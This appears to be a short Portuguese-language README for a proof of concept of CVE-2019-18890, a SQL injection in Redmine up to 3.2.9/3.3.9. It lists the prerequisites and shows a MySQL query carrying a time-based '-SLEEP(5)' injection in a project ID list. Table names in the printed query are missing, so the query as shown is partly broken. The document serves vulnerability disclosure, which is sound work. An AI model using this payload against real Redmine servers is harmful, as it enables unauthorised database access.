CVE-2019-18890

CVE-2019-18890 POC (Prova de Conceito)

REDMINE ATÉ 3.2.9/3.3.9 INJEÇÃO SQL

https://nvd.nist.gov/vuln/detail/CVE-2019-18890

Requisitos:

• Credenciais de acesso
• Subprojeto é necessário
• API REST está habilitada

No MySQL, a primeira consulta na qual a injeção ocorre se parece com o exemplo abaixo, sendo "-SLEEP(5)" a parte injetada:
SELECT COUNT(*) FROM INNER JOIN ON . = . INNER JOIN ON . = . WHERE (((projects.status <> 9 AND EXISTS (SELECT 1 AS one FROM enabled_modules em WHERE em.project_id = projects.id AND em.name='issue_tracking')) AND (((projects.is_public = 1 AND projects.id NOT IN (SELECT project_id FROM members WHERE user_id IN (4,2))) AND ((issues.is_private = 0)))))) AND ((issues.status_id IN (SELECT id FROM issue_statuses WHERE is_closed=0)) AND projects.id IN (1,2,3-SLEEP(5)))